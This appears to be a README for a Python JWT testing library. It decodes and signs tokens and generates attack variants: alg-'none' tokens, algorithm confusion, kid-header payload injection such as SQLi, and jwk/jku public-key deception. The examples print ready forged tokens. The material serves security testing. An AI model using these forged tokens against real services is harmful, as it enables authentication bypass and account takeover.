Small and simple library for JWTS, only use cases found to be useful are added. Performs simple operations on JWT:
- decodes and encodes JWTs
- compute signatures (currently only for most common algorithmns, HSxxx and RSxxx)
- generate variations of the provided JWT for most common tests:
- None signature
- Signature deception, set alg to HSxxx and signs using contents of file
- Payload injection in kid, given a test payload, eg, for SQLi, injects the payload in the kid header field. Currently a new signature is not generated
- Public key deception using JWK: when a private key is provided, the JWT header is modified to include the corresponding public key in the jwk field. JWT signature is updated using the provided private key so the signature can be verified using the public key added as jwk header field.
- Public key deception using JKU: when a private key and a url (jku url) is provided, the JWT header is modified to include a jku field pointing to the provided jku url. JWT signature is updated using the provided private key. The payload generated, in addition to the token, contains a JWKS representation of the public key. When such JWKS is returned by the url provided as jku url, the signature can be verified.
Only Python3 supported !
Decode a JWT:
python3 TestJWT.py jwt_token
Decode a JWT and verify HSxxx signature (as stated in alg header field) using provided secret:
python3 TestJWT.py jwt_token -s=secret
Decode a JWT and verify RSxxx signature (as stated in alg header field) using provided RSA Public Key in a PEM file:
python3 TestJWT.py jwt_token -p=path_to_pubkey_pem_file
Decode a JWT and verify RSxxx signature (as stated in alg header field) using provided RSA Public Key in a JWKS file:
python3 TestJWT.py jwt_token -jwks=path_to_jwks_file
Have a look at Attack.py and just write your own script or import the lib in a python interpreter.
ser_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.\
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
from Attack import Attack
attack = Attack(ser_jwt)
attack.attack_none()
And get the payloads
attack.print_payloads()
#attack_alg_none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
#attack_alg_None
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
#attack_alg_NONE
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
ser_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.\
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
from TestJWT import TestJWT
jwt = TestJWT.deserialize(ser_jwt)
jwt.set_algorithm("RS256")
jwt.payload['name'] = "Viejo Borracho"
import utils
from cryptography.hazmat.primitives.serialization import (load_pem_private_key)
from cryptography.hazmat.backends import default_backend
pk = load_pem_private_key(utils.read_pem_file("./keys/pk1.pem"), None, default_backend())
Read PEM:
[<RSAPrivateKey(PEM string with SHA-1 digest 'ff705ecef2c700c7a86be5d3720bb15b9c99a286')>]
jwt.build_token(pk)
b'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlZpZWpvIEJvcnJhY2hvIiwiaWF0IjoxNTE2MjM5MDIyfQ.MO8lgbh1fYXte2Ocp-Bz4BAKvVAnSP705if0uX6AeC3epM3PWJjSpHxtg9gt1Om-4fP9PdfRbQiCWklCkue8722JSHGcLpY8aU3xqna15LmK8KIHWGtFosKjXSKY5OCcRda8gv-BxiKsbWaA5zWx-bSc80Hpve4Eto_nz8uOl0hbcZgJZVdbHC4782H0PmF9NNeJ3ii7AX0SYxx7teF3jlzmEJLuSA9zBaW1vciQ1rRgTnMuJcHVh3ZEy6W5dlesfzgq1KEs-BKKKuWfSziNg7-9dDs8DbtGkQNSUDSeO37wsPqEvWC5r-10XBKHCDRE5Cqs70Rx3GgBv6oqPxnrTw'
Or generate a JWKS file from a public key
jwks['keys'] = [utils.rsa_pubkey_to_jwk(pem_file=None, key_id="my_key", pubkey=pk.public_key())]
print(jwks)
{
'keys': [
{
'kid': 'my_key',
'kty': 'RSA',
'alg': 'RS256',
'n': 'oGV0P-rgmJd8qEu_0c1YYjNLt8RjBmGcy4X0RXK3lEfHjGWJggkaHFY_zP-m0uWijPl7ASq1gf7cL7w801pLXB_vUqxPyl7rP8ul_4j_ghWjGrl58yNyRBcIVh18HICCqAduvbasehRstSv0JSAP6VArEcpLGOnHI0IILclWjFQf35A4fbsVYbqs2ZUhP7C5Jq36SA5GRqq4QTKuG0YP4t1j9CEEIQUldwHcuoMzBH4GOP0eZd1EkhTw8uQvQeHtao-J0Mfh-ljFC2Rcvoysx6HwGVZIg2DlGiWttYCWzUvc5q2doFIJ640gO9KLFeOC5ebGTwnzJ_Z5jCaim2Eomw',
'e': 'AQAB'
}
]}
And viceversa
pubkey: RSAPublicKey = utils.rsa_jwks_to_pubkey(jwks, "my_key")
print (pubkey.public_numbers().e)
65537
print (pubkey.public_numbers().n)
20248157676030977823199031307196283438603452191297177192508095062959894893333127804189363502090579135426885992643799907719701845114156076162892763801287693839794359613989188780264265295854770591512910017855849231832288345693602340833346549625232258681793917971210025438316041822453222564993808955986155320533416200386258455232622534914437298322896682709431897095490281101656572879401444120259719267530804258751518460214352307956561344029593294120060680902492807979550038807779060664887471087897444823115765375618049618659900484986661457181416189064352929405293506687664868592694338437385519849898374491905059404720283
TODO dependency management